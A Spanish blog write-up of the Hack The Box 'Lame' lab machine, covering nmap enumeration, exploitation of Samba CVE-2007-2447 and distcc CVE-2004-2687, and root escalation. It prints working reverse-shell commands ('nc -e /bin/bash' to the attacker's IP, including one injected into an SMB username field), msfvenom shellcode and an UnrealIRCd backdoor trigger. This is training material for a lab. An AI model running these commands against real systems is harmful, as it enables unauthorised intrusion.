Saltar al contenido

HackTheBox – Lame – Writeup – (OSCP Friendly)

En este post voy a vulnerar la máquina Lame de Hack the Box. Es una máquina Linux de nivel fácil con múltiples vías de explotación y elevación de privilegios.

Enumeración

Comienzo enumerando los 5.000 puertos mas comunes y, para darle mas velocidad al escaneo, indico que envíe 10.000 paquetes por segundo con la opción --min-rate 10000; esto hace que el escaneo sea mas ruidoso pero al ser un entorno controlado no importa el ruido.

nmap --top-ports 5000 --min-rate 10000 -n --open 10.10.10.3 -Pn
[]
<!-- /wp:shortcode -->

<!-- wp:image {"align":"center","id":406,"sizeSlug":"full","linkDestination":"none"} -->
<div class="wp-block-image"><figure class="aligncenter size-full"><img src="https://drp1ngblog.es/wp-content/uploads/2021/10/Lame01.png" alt="" class="wp-image-406"/></figure></div>
<!-- /wp:image -->

<!-- wp:paragraph {"className":"has-text-align-justify has-ek-typography"} -->
<p class="has-text-align-justify has-ek-typography">En la máquina hay cinco puertos abiertos. Escaneo los cinco puertos que he encontrado para ver la versión de los servicios que están corriendo en ellos y ejecuto una serie de scripts de enumeración básicos.</p>
<!-- /wp:paragraph -->

<!-- wp:shortcode -->
[shell]
nmap -p21,22,139,445,3632 -sV -sC 10.10.10.3 -Pn
Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times will be slower.
Starting Nmap 7.91 ( https://nmap.org ) at 2021-10-26 15:54 CEST
Nmap scan report for 10.10.10.3
Host is up (0.13s latency).

PORT     STATE SERVICE     VERSION
21/tcp   open  ftp         vsftpd 2.3.4
|_ftp-anon: Anonymous FTP login allowed (FTP code 230)
| ftp-syst: 
|   STAT: 
| FTP server status:
|      Connected to 10.10.14.6
|      Logged in as ftp
|      TYPE: ASCII
|      No session bandwidth limit
|      Session timeout in seconds is 300
|      Control connection is plain text
|      Data connections will be plain text
|      vsFTPd 2.3.4 - secure, fast, stable
|_End of status
22/tcp   open  ssh         OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)
| ssh-hostkey: 
|   1024 60:0f:cf:e1:c0:5f:6a:74:d6:90:24:fa:c4:d5:6c:cd (DSA)
|_  2048 56:56:24:0f:21:1d:de:a7:2b:ae:61:b1:24:3d:e8:f3 (RSA)
139/tcp  open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp  open  netbios-ssn Samba smbd 3.0.20-Debian (workgroup: WORKGROUP)
3632/tcp open  distccd     distccd v1 ((GNU) 4.2.4 (Ubuntu 4.2.4-1ubuntu4))
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

Host script results:
|_clock-skew: mean: 2h06m29s, deviation: 2h49m43s, median: 6m28s
| smb-os-discovery: 
|   OS: Unix (Samba 3.0.20-Debian)
|   Computer name: lame
|   NetBIOS computer name: 
|   Domain name: hackthebox.gr
|   FQDN: lame.hackthebox.gr
|_  System time: 2021-10-26T10:01:23-04:00
| smb-security-mode: 
|   account_used: &amp;amp;amp;amp;lt;blank&amp;amp;amp;amp;gt;
|   authentication_level: user
|   challenge_response: supported
|_  message_signing: disabled (dangerous, but default)
|_smb2-time: Protocol negotiation failed (SMB2)

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 52.91 seconds

Samba – Puerto 139,445

Enumero los directorios del usuario Anonymous con crackmapexec y descubro que tengo permisos de lectura y escritura en eldirectorio /tmp.

crackmapexec smb 10.10.10.3 -u '' -p '' --shares

Accedo al directorio /tmp utilizando smbclient. Como esta máquina ejecuta la versión SMB1, para utilizar smbclient, tengo que especificar el protocolo mínimo de cliente para conseguir la conexión. Más información aquí y aquí.

smbclient //10.10.10.3/tmp -N --option='client min protocol=NT1'

Consigo acceder al directorio pero no encuentro nada de utilidad.

Busco si existe alguna vulnerabilidad a nivel de kernel para esta versión de Samba y encuentro una que me permite ejecutar comandos de forma remota.

Distcc – Puerto 3632

Buscando en el repositorio de nmap (aquí) encuentro este script que me permite ejecutar comandos de forma remota.

Explotación

Samba

El exploit encontrado solo funciona con metasploit pero si entro a leer el código me indica que cubre una vulnerabilidad registrada como CVE-2007-2447.

Con una búsqueda rápida en google, encuentro tres formas distintas de explotar esta vulnerabilidad de forma manual y con todas ellas accedo directamente como usuario root.

Opción 1

Con este script de github. Únicamente pongo un netcat a la escucha, ejecuto el script según se indica en las instrucciones y accedo a la máquina víctima como root.

python exploit.py 10.10.10.3 445 10.10.14.6 7897

Opción 2

En crackmapexec, teniendo unas credenciales válidas (para este caso null-session) inyecto una conexión por netcat en el campo del usuario. La opción nohup evita que el comando se cancele automáticamente cuando cierra sesión o sale del shell.

crackmapexec smb 10.10.10.3 -u './=`nohup nc -e /bin/bash 10.10.14.6 7898`' -p ''

Opción 3

Con este script de github, basado en el de metasploit. Este script requiere generar un shellcode con msfvenom.

msfvenom -p cmd/unix/reverse_netcat LHOST=10.10.14.6 LPORT=7788 -f python
[-] No platform was selected, choosing Msf::Module::Platform::Unix from the payload
[-] No arch selected, selecting arch: cmd from the payload
No encoder specified, outputting raw payload
Payload size: 92 bytes
Final size of python file: 467 bytes
buf =  b""
buf += b"\x6d\x6b\x66\x69\x66\x6f\x20\x2f\x74\x6d\x70\x2f\x61"
buf += b"\x2e\x30\x2e\x33\x35\x20\x39\x39\x39\x39\x20\x30\x3c"
buf += b"\x2f\x74\x6d\x70\x2f\x6b\x62\x67\x61\x66\x20\x7c\x20"
buf += b"\x30\x2e\x31\x34\x2e\x37\x20\x39\x39\x39\x39\x20\x30"
buf += b"\x2f\x62\x69\x6e\x2f\x73\x68\x20\x3e\x2f\x74\x6d\x70"
buf += b"\x70\x2f\x61\x72\x74\x6d\x6b\x20\x32\x3e\x26\x31\x3b"
buf += b"\x20\x72\x6d\x20\x2f\x74\x6d\x70\x2f\x61\x72\x74\x6d"
buf += b"\x21"

Distccd

Nmap indica que para esta versión existe una vulnerabilidad registrada como CVE-2004-2687. Con una búsqueda rápida en google, encuentro dos formas de explotarla facilmente.

Opción 1

Con este script de github puedo ejecutar comandos por consola en la máquina víctima.

python exploit.py -t 10.10.10.3 -p 3632 -c whoami

Una vez comprobado que funciona el exploit, lo ejecuto inyectando una shell reversa por netcat.

python exploit.py -t 10.10.10.3 -p 3632 -c "nc -e /bin/bash 10.10.14.6 7899"

Opción 2

El propio script de nmap (aquí) que detecta la vulnerabilidad también me permite ejecutar comandos de forma remota, solo tengo que indicarle como objeto que ejecute una cmd y el comando que quiero ejecutar.

nmap -p 3632 10.10.10.3 --script distcc-cve2004-2687 --script-args="distcc-cve2004-2687.cmd='ifconfig eth0'" -Pn

Como se puede ver en la imagen, he conseguido que muestre la información de la interfaz de red eth0.

Vuelvo a ejecutar el comando inyectando una shell reversa con netcat por el puerto 8989.

nmap -p 3632 10.10.10.3 --script distcc-cve2004-2687 --script-args="distcc-cve2004-2687.cmd='nc -e /bin/bash 10.10.14.6 8989'" -Pn

Escalada de Privilegios

Para hacer la escalada de privilegios, en los casos en los que no he conseguido el usuario root en la fase de explotación, encuentro tres vías distintas.

Clave SSH débil

Con el usuario daemon tengo acceso al directorio /root y a sus directorios ocultos (realmente tengo total acceso con excepción del fichero de la flag). Dentro del directorio /root/.ssh puedo leer el fichero de claves públicas authorized_keys.

cat authorized_keys
ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEApmGJFZNl0ibMNALQx7M6sGGoi4KNmj6PVxpbpG70lShHQqldJkcteZZdPFSbW76IUiPR0Oh+WBV0x1c6iPL/0zUYFHyFKAz1e6/5teoweG1jr2qOffdomVhvXXvSjGaSFwwOYB8R0QxsOWWTQTYSeBa66X6e777GVkHCDLYgZSo8wWr5JXln/Tw7XotowHr8FEGvw2zW1krU3Zo9Bzp0e0ac2U+qUGIzIu/WwgztLZs5/D9IyhtRWocyQPE+kcP+Jz2mt4y1uA73KqoXfdw5oGUkxdFo9f1nu2OwkjOc+Wv8Vw7bwkf+1RgiOMgiJ5cCs4WocyVxsXovcNnbALTp3w== msfadmin@metasploitable

Normalmente, tener una clave pública no sirve de mucho pero me llama la atención que el usuario sea msfadmin@metasploiteable porque podría poseer la vulnerabilidad CVE-2008-0166 (se rompió, temporalmente, el generador de números aleatorios en OpenSSL y provocó que algunas claves SSH fueran obtenidas por fuerza bruta a partir de la clave pública). Me descargo el repositorio de g0tmilk para esta vulnerabilidad.

git clone https://github.com/g0tmi1k/debian-ssh.git
cd /debian-ssh/common_keys
tar jxf debian_ssh_rsa_2048_x86.tar.bz2

Después de extraer las claves RSA comunes uso grep de forma recursiva para buscar el nombre del archivo con la clave pública.

grep -lr AAAAB3NzaC1yc2EAAAABIwAAAQEApmGJFZNl0ibMNALQx7M6sGGoi4KNmj6PVxpbpG70lShHQqldJkcteZZdPFSbW76IUiPR0Oh+WBV0x1c6iPL/0zUYFHyFKAz1e6/5teoweG1jr2qOffdomVhvXXvSjGaSFwwOYB8R0QxsOWWTQTYSeBa66X6e777GVkHCDLYgZSo8wWr5JXln/Tw7XotowHr8FEGvw2zW1krU3Zo9Bzp0e0ac2U+qUGIzIu/WwgztLZs5/D9IyhtRWocyQPE+kcP+Jz2mt4y1uA73KqoXfdw5oGUkxdFo9f1nu2OwkjOc+Wv8Vw7bwkf+1RgiOMgiJ5cCs4WocyVxsXovcNnbALTp3w==

Una vez encontrada, uso la clave privada correspondiente para conectarme como root por SSH.

ssh -i 57c3115d77c56390332dc5c49978627a-5429 root@10.10.10.3

SUID de nmap

Comienzo listando los binarios que poseen el bit SUID.

La imagen pertenece a una salida de Linux Smart Enumeration. Para verlo manualmente habría que ejecutar el comando: find / -type f -perm -u=s 2>/dev/null

Como se ve en la imagen anterior, nmap posee el bit SUID por lo que me podría servir para escalar privilegios siguiendo las indicaciones de GTFOBins. Comienzo comprobando la versión del binario.

nmap --version

En todas las versiones entre la 2.02 y la 5.21 se puede utilizar el modo interactivo de nmap para escalar privilegios.

nmap --interactive
!sh

Backdoor en UnrealIRCd

Mirando los servicios en escucha de la máquina puedo ver el puerto 6697 que podría ser IRC sobre SSL.

La imagen pertenece a una salida de Linux Smart Enumeration. Para verlo manualmente habría que ejecutar el comando: netstat -putaon

Veo los procesos que se están ejecutando en la máquina y veo que UnrealIRCd se está ejecutando como root.

ps aux | grep unreal

Activo la puerta trasera por netcat. Más información aquí.

echo "AB; nc -e /bin/sh 10.10.14.6 8999" | nc 127.0.0.1 6697

Flags

Me he dejado las flags para el final debido al gran número de formas que hay de conseguirlas en esta máquina.

User.txt

La flag de usuario la encuentro en /home/makis/user.txt.

Root.txt

La flag de root la encuentro en /root/root.txt.

Publicado enCTFHTBLinuxOSCP